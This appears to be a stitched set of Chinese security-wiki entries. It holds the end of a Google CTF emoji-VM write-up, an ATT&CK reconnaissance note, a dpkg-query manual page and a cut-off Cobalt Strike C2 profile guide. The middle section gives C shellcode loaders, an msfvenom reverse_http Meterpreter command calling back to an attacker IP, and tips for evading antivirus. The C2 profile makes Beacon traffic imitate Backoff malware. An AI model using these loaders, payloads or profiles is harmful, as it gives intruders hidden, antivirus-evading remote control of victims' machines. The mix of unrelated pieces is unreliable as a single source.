("stop_atoi?") return if fn is None: raise RuntimeError("Unknown instruction '{}' at {}".format( repr(cur_ins), self.instruction_pointer - 1)) elif isinstance(fn, str): print (fn) else: fn(self) def jump_to(self): print ("jmp ", end='') marker = self.rom[self.instruction_pointer] if marker[0] != '💰': print('Incorrect symbol : ' + marker[0]) raise SystemExit() marker = '🖋' + marker[1:] print(self.rom.index(marker) + 1) self.instruction_pointer += 1 def push(self): print ("push ", end='') if self.rom[self.instruction_pointer] == '🥇': print("accumulator1") elif self.rom[self.instruction_pointer] == '🥈': print("accumulator2") else: raise RuntimeError('Unknown instruction {} at position {}'.format( self.rom[self.instruction_pointer], str(self.instruction_pointer))) self.instruction_pointer += 1 def pop(self): print ("pop ", end='') if self.rom[self.instruction_pointer] == '🥇': print("accumulator1") elif self.rom[self.instruction_pointer] == '🥈': print("accumulator2") else: raise RuntimeError('Unknown instruction {} at position {}'.format( self.rom[self.instruction_pointer], str(self.instruction_pointer))) self.instruction_pointer += 1 def load(self): print ("load ", end='') num = 0 if self.rom[self.instruction_pointer] == '🥇': print("accumulator1 ", end='') elif self.rom[self.instruction_pointer] == '🥈': print("accumulator2 ", end='') else: raise RuntimeError('Unknown instruction {} at position {}'.format( self.rom[self.instruction_pointer], str(self.instruction_pointer))) self.instruction_pointer += 1 while self.rom[self.instruction_pointer] != '✋': num = num * 10 + (ord(self.rom[self.instruction_pointer][0]) - ord('0')) self.instruction_pointer += 1 print(num) self.instruction_pointer += 1 OPERATIONS = { '🍡': "add", '🤡': "clone", '📐': "divide", '😲': "if_zero", '😄': "if_not_zero", '🏀': jump_to, '🚛': load, '📬': "modulo", '⭐': "multiply", '🍿': pop, '📤': "pop_out", '🎤': "print_top", '📥': push, '🔪': "sub", '🌓': "xor", '⛰': "jump_top", '⌛': "exit" } if __name__ == '__main__': if len(sys.argv) != 2: print('Missing program') raise SystemExit() with open(sys.argv[1], 'r', encoding="utf8") as f: all_ins = [''] all_ins.extend(f.read().split()) vm = VM(all_ins) while vm.instruction_pointer < len(all_ins): print("{}: ".format(vm.instruction_pointer), end='') vm.step() ``` We get the following program: ``` root@kali:/media/sf_CTFs/google/FriendSpaceBookPlusAllAccessRedPremium.com# python3 disassembler.py program 1: load accumulator1 0 5: push accumulator1 7: load accumulator1 17488 15: push accumulator1 17: load accumulator1 16758 25: push accumulator1 27: load accumulator1 16599 35: push accumulator1 37: load accumulator1 16285 45: push accumulator1 47: load accumulator1 16094 55: push accumulator1 57: load accumulator1 15505 65: push accumulator1 67: load accumulator1 15417 75: push accumulator1 77: load accumulator1 14832 85: push accumulator1 87: load accumulator1 14450 95: push accumulator1 97: load accumulator1 13893 105: push accumulator1 107: load accumulator1 13926 115: push accumulator1 117: load accumulator1 13437 125: push accumulator1 127: load accumulator1 12833 135: push accumulator1 137: load accumulator1 12741 145: push accumulator1 147: load accumulator1 12533 155: push accumulator1 157: load accumulator1 11504 165: push accumulator1 167: load accumulator1 11342 175: push accumulator1 177: load accumulator1 10503 185: push accumulator1 187: load accumulator1 10550 195: push accumulator1 197: load accumulator1 10319 205: push accumulator1 207: load accumulator1 975 213: push accumulator1 215: load accumulator1 1007 222: push accumulator1 224: load accumulator1 892 230: push accumulator1 232: load accumulator1 893 238: push accumulator1 240: load accumulator1 660 246: push accumulator1 248: load accumulator1 743 254: push accumulator1 256: load accumulator1 267 262: push accumulator1 264: load accumulator1 344 270: push accumulator1 272: load accumulator1 264 278: push accumulator1 280: load accumulator1 339 286: push accumulator1 288: load accumulator1 208 294: push accumulator1 296: load accumulator1 216 302: push accumulator1 304: load accumulator1 242 310: push accumulator1 312: load accumulator1 172 318: push accumulator1 320: load accumulator1 74 325: push accumulator1 327: load accumulator1 49 332: push accumulator1 334: load accumulator1 119 340: push accumulator1 342: load accumulator1 113 348: push accumulator1 350: load accumulator1 119 356: push accumulator1 358: load accumulator1 106 364: push accumulator1 366: load accumulator2 1 370: --- label --- 371: pop accumulator1 373: push accumulator2 375: push accumulator1 377: load accumulator1 389 383: push accumulator1 385: push accumulator2 387: jmp 1040 389: xor 390: print_top 391: load accumulator1 1 395: push accumulator1 397: add 398: pop accumulator2 400: if_not_zero 401: jmp 371 403: endif 404: load accumulator1 98426 412: push accumulator1 414: load accumulator1 97850 422: push accumulator1 424: load accumulator1 97604 432: push accumulator1 434: load accumulator1 97280 442: push accumulator1 444: load accumulator1 96815 452: push accumulator1 454: load accumulator1 96443 462: push accumulator1 464: load accumulator1 96354 472: push accumulator1 474: load accumulator1 95934 482: push accumulator1 484: load accumulator1 94865 492: push accumulator1 494: load accumulator1 94952 502: push accumulator1 504: load accumulator1 94669 512: push accumulator1 514: load accumulator1 94440 522: push accumulator1 524: load accumulator1 93969 532: push accumulator1 534: load accumulator1 93766 542: push accumulator1 544: load accumulator2 99 549: --- label --- 550: pop accumulator1 552: push accumulator2 554: push accumulator1 556: load accumulator1 568 562: push accumulator1 564: push accumulator2 566: jmp 1040 568: xor 569: print_top 570: load accumulator1 1 574: push accumulator1 576: add 577: pop accumulator2 579: if_not_zero 580: jmp 550 582: endif 583: load accumulator1 101141058 595: push accumulator1 597: load accumulator1 101060206 609: push accumulator1 611: load accumulator1 101030055 623: push accumulator1 625: load accumulator1 100998966 637: push accumulator1 639: load accumulator1 100887990 651: push accumulator1 653: load accumulator1 100767085 665: push accumulator1 667: load accumulator1 100707036 679: push accumulator1 681: load accumulator1 100656111 693: push accumulator1 695: load accumulator1 100404094 707: push accumulator1 709: load accumulator1 100160922 721: push accumulator1 723: load accumulator1 100131019 735: push accumulator1 737: load accumulator1 100111100 749: push accumulator1 751: load accumulator1 100059926 763: push accumulator1 765: load accumulator1 100049982 777: push accumulator1 779: load accumulator1 100030045 791: push accumulator1 793: load accumulator1 9989997 803: push accumulator1 805: load accumulator1 9981858 815: push accumulator1 817: load accumulator1 9980815 827: push accumulator1 829: load accumulator1 9978842 839: push accumulator1 841: load accumulator1 9965794 851: push accumulator1 853: load accumulator1 9957564 863: push accumulator1 865: load accumulator1 9938304 875: push accumulator1 877: load accumulator1 9935427 887: push accumulator1 889: load accumulator1 9932289 899: push accumulator1 901: load accumulator1 9931494 911: push accumulator1 913: load accumulator1 9927388 923: push accumulator1 925: load accumulator1 9926376 935: push accumulator1 937: load accumulator1 9923213 947: push accumulator1 949: load accumulator1 9921394 959: push accumulator1 961: load accumulator1 9919154 971: push accumulator1 973: load accumulator1 9918082 983: push accumulator1 985: load accumulator1 9916239 995: push accumulator1 997: load accumulator2 765 1003: --- label --- 1004: pop accumulator1 1006: push accumulator2 1008: push accumulator1 1010: load accumulator1 1023 1017: push accumulator1 1019: push accumulator2 1021: jmp 1040 1023: xor 1024: print_top 1025: load accumulator1 1 1029: push accumulator1 1031: add 1032: pop accumulator2 1034: if_not_zero 1035: jmp 1004 1037: endif 1038: exit 1039: --- label --- 1040: load accumulator1 2 1044: push accumulator1 1046: --- label --- 1047: jmp 1098 1049: --- label --- 1050: if_zero 1051: pop_out 1052: jmp 1088 1054: stop_atoi? 1055: endif 1056: pop_out 1057: jmp 1144 1059: --- label --- 1060: if_zero 1061: pop_out 1062: jmp 1088 1064: endif 1065: pop_out 1066: pop accumulator1 1068: load accumulator2 1 1072: push accumulator2 1074: sub 1075: if_zero 1076: pop_out 1077: pop accumulator2 1079: push accumulator1 1081: push accumulator2 1083: jump_top 1084: endif 1085: push accumulator1 1087: --- label --- 1088: load accumulator2 1 1092: push accumulator2 1094: add 1095: jmp 1047 1097: --- label --- 1098: clone 1099: load accumulator1 2 1103: push accumulator1 1105: --- label --- 1106: sub 1107: if_zero 1108: pop_out 1109: load accumulator1 1 1113: push accumulator1 1115: jmp 1050 1117: endif 1118: pop_out 1119: clone 1120: push accumulator1 1122: modulo 1123: if_zero 1124: jmp 1050 1126: endif 1127: pop_out 1128: clone 1129: push accumulator1 1131: load accumulator1 1 1135: push accumulator1 1137: add 1138: clone 1139: pop accumulator1 1141: jmp 1106 1143: --- label --- 1144: clone 1145: clone 1146: load accumulator2 0 1150: push accumulator2 1152: --- label --- 1153: load accumulator1 10 1158: push accumulator1 1160: multiply 1161: pop accumulator2 1163: push accumulator1 1165: modulo 1166: push accumulator2 1168: add 1169: pop accumulator2 1171: pop accumulator1 1173: clone 1174: push accumulator2 1176: sub 1177: if_zero 1178: pop_out 1179: load accumulator2 1 1183: push accumulator2 1185: jmp 1060 1187: endif 1188: pop_out 1189: push accumulator1 1191: load accumulator1 10 1196: push accumulator1 1198: divide 1199: if_zero 1200: jmp 1060 1202: endif 1203: clone 1204: push accumulator2 1206: jmp 1153 ``` We can see that the program pushes some values to the stack, then operates on them, then pushes another group of values and so on. We can go two ways from here: Static Analysis and Dynamic Analysis. Dynamic is usually faster so let's try that. We hack the VM to print the instruction, the accumulators and the (top of the) stack for each instruction it executes. For example, the program starts with: ``` 1: load accumulator1 0 a1: 0, a2: 0, stack: [] 5: push accumulator1 a1: 0, a2: 0, stack: [0] 7: load accumulator1 17488 a1: 17488, a2: 0, stack: [0] 15: push accumulator1 a1: 17488, a2: 0, stack: [0, 17488] 17: load accumulator1 16758 a1: 16758, a2: 0, stack: [0, 17488] 25: push accumulator1 a1: 16758, a2: 0, stack: [0, 17488, 16758] ``` The first interesting part, after all the values are loaded to the stack, is: ``` 366: load accumulator2 1 370: --- label --- 371: pop accumulator1 373: push accumulator2 375: push accumulator1 377: load accumulator1 389 383: push accumulator1 385: push accumulator2 387: jmp 1040 389: xor 390: print_top ``` Let's add comments to this section: ``` 366: load accumulator2 1 370: --- label --- 371: pop accumulator1 ; load next value from stack to acc1 373: push accumulator2 ; push local variable #1 (1 for the first iteration, based on line 366) 375: push accumulator1 ; push local variable #2 377: load accumulator1 389 ; load return address 383: push accumulator1 ; push return address to stack 385: push accumulator2 ; push parameter to upcoming function 387: jmp 1040 ; call function at 1040 389: xor ; XOR value returned by function via stack with local variable #2 390: print_top ; print the result ``` Here's the runtime data for this logic: ``` // Iteration #1 370: --- label --- 371: pop accumulator1 a1: 106, a2: 1, stack: [339, 208, 216, 242, 172, 74, 49, 119, 113, 119] 373: push accumulator2 a1: 106, a2: 1, stack: [208, 216, 242, 172, 74, 49, 119, 113, 119, 1] 375: push accumulator1 a1: 106, a2: 1, stack: [216, 242, 172, 74, 49, 119, 113, 119, 1, 106] 377: load accumulator1 389 a1: 389, a2: 1, stack: [216, 242, 172, 74, 49, 119, 113, 119, 1, 106] 383: push accumulator1 a1: 389, a2: 1, stack: [242, 172, 74, 49, 119, 113, 119, 1, 106, 389] 385: push accumulator2 a1: 389, a2: 1, stack: [172, 74, 49, 119, 113, 119, 1, 106, 389, 1] 387: jmp 1040 a1: 389, a2: 1, stack: [172, 74, 49, 119, 113, 119, 1, 106, 389, 1] // Function 1040 runs a1: 2, a2: 389, stack: [242, 172, 74, 49, 119, 113, 119, 1, 106, 2] 389: xor a1: 2, a2: 389, stack: [216, 242, 172, 74, 49, 119, 113, 119, 1, 104] 390: print_top h a1: 2, a2: 389, stack: [208, 216, 242, 172, 74, 49, 119, 113, 119, 1] // Iteration #2 371: pop accumulator1 a1: 119, a2: 2, stack: [264, 339, 208, 216, 242, 172, 74, 49, 119, 113] 373: push accumulator2 a1: 119, a2: 2, stack: [339, 208, 216, 242, 172, 74, 49, 119, 113, 2] 375: push accumulator1 a1: 119, a2: 2, stack: [208, 216, 242, 172, 74, 49, 119, 113, 2, 119] 377: load accumulator1 389 a1: 389, a2: 2, stack: [208, 216, 242, 172, 74, 49, 119, 113, 2, 119] 383: push accumulator1 a1: 389, a2: 2, stack: [216, 242, 172, 74, 49, 119, 113, 2, 119, 389] 385: push accumulator2 a1: 389, a2: 2, stack: [242, 172, 74, 49, 119, 113, 2, 119, 389, 2] 387: jmp 1040 a1: 389, a2: 2, stack: [242, 172, 74, 49, 119, 113, 2, 119, 389, 2] // Function 1040 runs a1: 3, a2: 389, stack: [216, 242, 172, 74, 49, 119, 113, 2, 119, 3] 389: xor a1: 3, a2: 389, stack: [208, 216, 242, 172, 74, 49, 119, 113, 2, 116] 390: print_top t a1: 3, a2: 389, stack: [339, 208, 216, 242, 172, 74, 49, 119, 113, 2] // Iteration #3 371: pop accumulator1 a1: 113, a2: 3, stack: [344, 264, 339, 208, 216, 242, 172, 74, 49, 119] 373: push accumulator2 a1: 113, a2: 3, stack: [264, 339, 208, 216, 242, 172, 74, 49, 119, 3] 375: push accumulator1 a1: 113, a2: 3, stack: [339, 208, 216, 242, 172, 74, 49, 119, 3, 113] 377: load accumulator1 389 a1: 389, a2: 3, stack: [339, 208, 216, 242, 172, 74, 49, 119, 3, 113] 383: push accumulator1 a1: 389, a2: 3, stack: [208, 216, 242, 172, 74, 49, 119, 3, 113, 389] 385: push accumulator2 a1: 389, a2: 3, stack: [216, 242, 172, 74, 49, 119, 3, 113, 389, 3] 387: jmp 1040 a1: 389, a2: 3, stack: [216, 242, 172, 74, 49, 119, 3, 113, 389, 3] // Function 1040 runs a1: 5, a2: 389, stack: [208, 216, 242, 172, 74, 49, 119, 3, 113, 5] 389: xor a1: 5, a2: 389, stack: [339, 208, 216, 242, 172, 74, 49, 119, 3, 116] 390: print_top t a1: 5, a2: 389, stack: [264, 339, 208, 216, 242, 172, 74, 49, 119, 3] // Iteration #4 371: pop accumulator1 a1: 119, a2: 4, stack: [267, 344, 264, 339, 208, 216, 242, 172, 74, 49] 373: push accumulator2 a1: 119, a2: 4, stack: [344, 264, 339, 208, 216, 242, 172, 74, 49, 4] 375: push accumulator1 a1: 119, a2: 4, stack: [264, 339, 208, 216, 242, 172, 74, 49, 4, 119] 377: load accumulator1 389 a1: 389, a2: 4, stack: [264, 339, 208, 216, 242, 172, 74, 49, 4, 119] 383: push accumulator1 a1: 389, a2: 4, stack: [339, 208, 216, 242, 172, 74, 49, 4, 119, 389] 385: push accumulator2 a1: 389, a2: 4, stack: [208, 216, 242, 172, 74, 49, 4, 119, 389, 4] 387: jmp 1040 a1: 389, a2: 4, stack: [208, 216, 242, 172, 74, 49, 4, 119, 389, 4] // Function 1040 runs3 a1: 7, a2: 389, stack: [339, 208, 216, 242, 172, 74, 49, 4, 119, 7] 389: xor a1: 7, a2: 389, stack: [264, 339, 208, 216, 242, 172, 74, 49, 4, 112] 390: print_top p a1: 7, a2: 389, stack: [344, 264, 339, 208, 216, 242, 172, 74, 49, 4] ``` These are the first four iterations which print out "http". We can see that the variable passed to `func_1040` is a counter. The return value from the function is `[2, 3, 5, 7]` and if we go on, `[2, 3, 5, 7, 11, 101, 131, 151, 181, 191]`. This return value is XORed with the original value from the stack, producing the plaintext. Let's perform a quick test for this theory: ```python >>> a = [2, 3, 5, 7, 11, 101, 131, 151, 181, 191] >>> b = [106, 119, 113, 119, 49, 74, 172, 242, 216, 208] >>> for x, y in zip(a, b): ... sys.stdout.write(chr(x^y)) http://emo ``` Looks good! So, if we could predict what the function will return, we can use this to XOR with the values pushed to the stack and get the message. If it isn't obvious from just staring at it, we can always search for the sequence in Google and come up with the official name: [Palindromic Primes](https://oeis.org/A002385): Prime numbers whose decimal expansion is a palindrome. The only catch: The program uses 99 as the index into the sequence for the second chunk of values (see line 544) and 765 for the third chunk (see line 997). The following code decodes all three chunks: ```python from itertools import * from itertools import count #https://stackoverflow.com/questions/34853034/find-palindromic-primes-in-python # ideone.com/aVndFM def postponed_sieve(): # postponed sieve, by Will Ness yield 2; yield 3; yield 5; yield 7; # original code David Eppstein, sieve = {} # Alex Martelli, ActiveState Recipe 2002 ps = postponed_sieve() # a separate base Primes Supply: p = next(ps) and next(ps) # (3) a Prime to add to dict q = p*p # (9) its sQuare for c in count(9,2): # the Candidate if c in sieve: # c's a multiple of some base prime s = sieve.pop(c) # i.e. a composite ; or elif c < q: yield c # a prime continue else: # (c==q): # or the next base prime's square: s=count(q+2*p,2*p) # (9+6, by 6 : 15,21,27,33,...) p=next(ps) # (5) q=p*p # (25) for m in s: # the next multiple if m not in sieve: # no duplicates break sieve[m] = s # original test entry: ideone.com/WFv4f def palindPrimes(n): ret = [] for p in islice( filterfalse( lambda x: str(x) != str(x)[::-1], postponed_sieve()), n): ret.append(p) return ret numbers1 = """ 17488 16758 16599 16285 16094 15505 15417 14832 14450 13893 13926 13437 12833 12741 12533 11504 11342 10503 10550 10319 975 1007 892 893 660 743 267 344 264 339 208 216 242 172 74 49 119 113 119 106 """ numbers2 = """ 98426 97850 97604 97280 96815 96443 96354 95934 94865 94952 94669 94440 93969 93766 """ numbers3 = """ 101141058 101060206 101030055 100998966 100887990 100767085 100707036 100656111 100404094 100160922 100131019 100111100 100059926 100049982 100030045 9989997 9981858 9980815 9978842 9965794 9957564 9938304 9935427 9932289 9931494 9927388 9926376 9923213 9921394 9919154 9918082 9916239 """ def numbers_to_list(s): return list(map(lambda x: int(x), s.strip().split("\n")[::-1])) xor = palindPrimes(800) numbers1 = numbers_to_list(numbers1) numbers2 = numbers_to_list(numbers2) numbers3 = numbers_to_list(numbers3) for i in range(len(numbers1)): print(chr(numbers1[i] ^ xor[i]), end='') for i in range(len(numbers2)): print(chr(numbers2[i] ^ xor[99 - 1 + i]), end='') for i in range(len(numbers3)): print(chr(numbers3[i] ^ xor[765 - 1 + i]), end='') ``` The result: ``` http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/ ``` Visiting the website brings us to a basic social network: ```console root@kali:/media/sf_CTFs/google/FriendSpaceBookPlusAllAccessRedPremium.com# curl http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/ <!DOCTYPE html> <meta charset="utf-8"> <title>Humans + Cauliflower network</title> <body> <h1>Browse through dozens! of profiles</h1> <p>Some of our most active users:</p> <ul> <li><a href="jade.html">Jade</a></li> <li><a href="amber.html">Amber</a></li> <li><a href="sarah.html">SarahH</a></li> </ul> <p>Register now!</p> </body> ``` After visiting several pages, we finally find the flag in Amber's profile: ![](images/amber.png) The flag: CTF{Peace_from_Cauli!} 😄
sec-knowleage
# T1591-004-收集目标组织信息-确定角色 ## 来自ATT&CK的描述 攻击者可能会在目标组织中收集有关目标组织内的身份和角色的信息。有关业务角色的信息可能会揭示各种可针对性的细节,包括关键人员的可识别信息以及他们可以访问哪些数据/资源。 攻击者可以通过多种方式收集此信息,例如通过“网络钓鱼诱骗”直接诱捕。有关业务角色的信息也可以通过在线或其他可访问的数据集(例如,社交媒体或受害人拥有的网站)暴露给攻击者。 ## 测试案例 个人理解:攻击者可能会收集运维、网络管理员相关信息,后续可以进行精准社工,或者相关人员的账号密码爆破,也可能是发送目标组织成员感兴趣的邮件,实现邮件钓鱼等。 ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。 检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1591-001-收集目标组织信息-确定物理位置]] [[T1591-002-收集目标组织信息-业务关系]] [[T1591-003-收集目标组织信息-确定业务节奏]] ## 参考推荐 MITRE-ATT&CK-T1591-004 <https://attack.mitre.org/techniques/T1591/004/>
sec-knowleage
# 0x00 C加载shellcode c语言加载shellcode非常方便,C/C++好用是好用就是头有点凉快。以下加载方法均来自网络 第一种 ``` #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { ((void(*)(void))&shellcode)(); } ``` 第二种 ``` #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { PVOID p = NULL; if((p = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)) == NULL) MessageBox(NULL,"VirtuallAlloc Failed!!!","Prompt",MB_OK); if(!(memcpy(p,shellcode,sizeof(shellcode)))) MessageBox(NULL,"WriteMemory Failed!!!","Prompt",MB_OK); CODE code = (CODE)p; code(); } ``` 第三种 ``` #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { __asm { lea eax,shellcode; jmp eax; } } ``` 第四种 ``` #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { __asm { mov eax,offset shellcode; jmp eax; } } ``` 第五种 ``` #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { __asm { mov eax,offset shellcode; _emit 0xFF; _emit 0xE0; } } ``` 这都是基本加载方法基本已经不过了但是还是提一下, AV 检测中 shellcode 是可以载入内存的,但是不能去执行,执行就会判断为恶意程序也就是我们可以把 它分成2个部分。 1. shellcode 特征 2. 执行shellcode 简单的举个例子 ``` #include <windows.h> #include <stdio.h> unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; unsigned char noshellcode[] = ""; void main() { ((void(*)(void))&noshellcode)(); } ``` 这个程序它不会判断为恶意程序,因为我们根本没去执行它,如何免杀呢,我们可以把shellcode加密,然后再解密运行,或者用其他方式来调用它。 ![Cobalt Strike ](./img/2.2.2.png) # 0x01 配合msf shellcode MSF框架自带了很多加密方式,在msf5中又添加了更多的加密方式,有兴趣的朋友可以试试,我们知道msf的通讯和cs的通讯协议相通的,所以我们用msf生成shellcode来执行 ``` msfvenom -p windows/meterpreter/reverse_http -a x86 --platform win LHOST=192.168.130.130 LPORT=8090 -e x86/shikata_ga_nai -i 20 -b '\x00\' -f c >/root/shellcode.c ``` 生成我们的shellcode 这里我用的vs 2013 ``` #include "windows.h" #include "stdio.h" //#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 //#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 //shellcode在生成payload时选择c即可 unsigned char shellcode[] = "\xdb\xdf\xd9\x74\x24\xf4\xba\x82\x82\xc5\x6d\x5d\x31\xc9\xb1" "\xf3\x83\xed\xfc\x31\x55\x16\x03\x55\x16\xe2\x77\x59\x1c\xb4" "\x03\x7a\x6b\x1a\x51\x0c\x39\x76\x49\x22\xf7\xc8\x7c\x74\x52" "\x3c\xfd\x9a\xa0\x41\xda\xdc\x68\x5f\x85\x72\x3c\x1a\x85\xdd" "\x30\xf5\x5b\xad\xc3\xc8\xac\x6a\xea\x17\x5e\xca\x27\xcf\x3a" void main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); } ``` 其实就是个免杀msf shellcode 只是引用一个思路,为什么要讲这个呢,这就是利用编码器编码shellcode来免杀,但是这些特征已被入库。 ![Cobalt Strike ](./img/2.2.1.png) # 0x02 文末 自己写把CS的shellcode 拿来加密下 在运行也是可行的,但是都是表面免杀,主动还是有问题 。 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
dpkg-query === Debian Linux中软件包的查询工具 ## 补充说明 **dpkg-query命令** 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息。 ### 语法 ```shell dpkg-query(选项)(参数) ``` ### 选项 ```shell -l:列出符合匹配模式的软件包; -s:查询软件包的状态信息; -L:显示软件包所安装的文件列表; -S:从安装的软件包中查询文件; -w:显示软件包信息; -c:显示软件包的控制文件路径; -p:显示软件包的细节。 ``` ### 参数 软件包名称:指定需要查询的软件包。 ### 实例 查找文件file1在哪个包里安装: ```shell dpkg-query -S file1 ``` 列出ubuntu下所安装软件列表: ```shell dpkg-query -W --showformat='${Package} ${Version}\n' > filename ``` 查看软件包详细信息: ```shell dpkg-query -s capistrano ``` 查看软件包安装时安装到系统的文件列表: ```shell dpkg-query -L capistrano ``` 列出所有安装的包: ```shell dpkg-query -l ``` 查看软件包的确切状态(是否安装)以及版本号: ```shell dpkg-query -W -f='${Status} ${Version}\n' apache-perl ```
sec-knowleage
# 0x00 profile语法分析 以 `backoff.profile` 为例来讲解 ``` # # Backoff POS Malware # # This profile takes steps to dress up the POST side of Beacon's C2 to # look like Backoff. The GET side is left generic. # # Indicators from: # http://blog.spiderlabs.com/2014/07/backoff-technical-analysis.html # https://gsr.trustwave.com/topics/backoff-pos-malware/backoff-malware-overview/ # # Author: @armitagehacker # # set sample_name "Backoff POS Malware"; set sleeptime "30000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; # the relevant indicators http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urlencoded"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } } # No information on backoff use of GET, so generic GET request. http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } } ``` 注释符号 `#` 选择赋值 `set` 用来设置一些程序的默认值 语句以`;` 结束,类似JavaScript. 代码中 `set sleeptime "30000";` 即为设置心跳时间为30000毫秒,`set jitter "10";` 为默认抖动系数(0-99%) `set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";` 设置 user-agent 其中的http-get与http-post基本为固定语法了。 ``` http-get { set uri "/updates"; client { metadata { } } server { header ""; output { } } } ``` 为了更好的看懂这些,以下是官网语法文档。 # 0x01 文档 配合官方文档写了下,其中很多用不到,没关系需要什么看什么,长文字直接用的机翻了大概意思差不多。 ## Data Transform Language 数据转换也就是CS内置的几种编码 Statement | Action | Inverse -|-|- append "string" | Append "string" | Remove last LEN("string") characters base64 | Base64 Encode | Base64 Decode base64url | URL-safe Base64 Encode | URL-safe Base64 Decode mask | XOR mask w/ random key | XOR mask w/ same random key netbios | NetBIOS Encode 'a' | NetBIOS Decode 'a' netbiosu | NetBIOS Encode 'A' | NetBIOS Decode 'A' prepend "string" | Prepend "string" | Remove first LEN("string") characters 数据转换语句可以任意数量顺序组合,以终止语句结束,在转换中只能使用一个终止语句 Statement | What -|-| header "header" |Store data in an HTTP header parameter "key" | Store data in a URI parameter print | Send data as transaction body uri-append | Append to URI 终止语句将转换后的数据储存到Http头中,参数终止语句将转换的数据 print来最后发送这些编码的数据 print是 `http-get.server.output`,`http-post.server.output` 和 `http-stager.server.output` 的终止语句配合上文代码可以看出。 其他块使用 `header`,`parameter`,`print`和`uri-append` `termination`语句,如果在`http-post.client.output`上使用`header` `parameter` `uri append` `termination`语句,beacon会将其响应分块到一个合理的长度,以适应事务的一部分。 ## Strings Beacon的Profile语法可以多个地方使用 Strings Value | Special Value -|-| "\n" | Newline character "\r" | Carriage Return "\t" | Tab character "\u####" | A unicode character "\x##" | A byte (e.g., \x41 = 'A') "\\" | \ ## Options Beacon的默认值,分为全局和本地,全局更改Beacon的设置,本地用于特定事务。 Option | Context | Default Value | Changes -|-|-|-| amsi_disable | null | false | (Attempt to) disable AMSI for execute-assembly, powerpick, and psinject dns_idle | null | 0.0.0.0 | IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values dns_max_txt | null | 252 | Maximum length of DNS TXT responses for tasks dns_sleep | null | 0 | Force a sleep prior to each individual DNS request. (in milliseconds) dns_stager_prepend 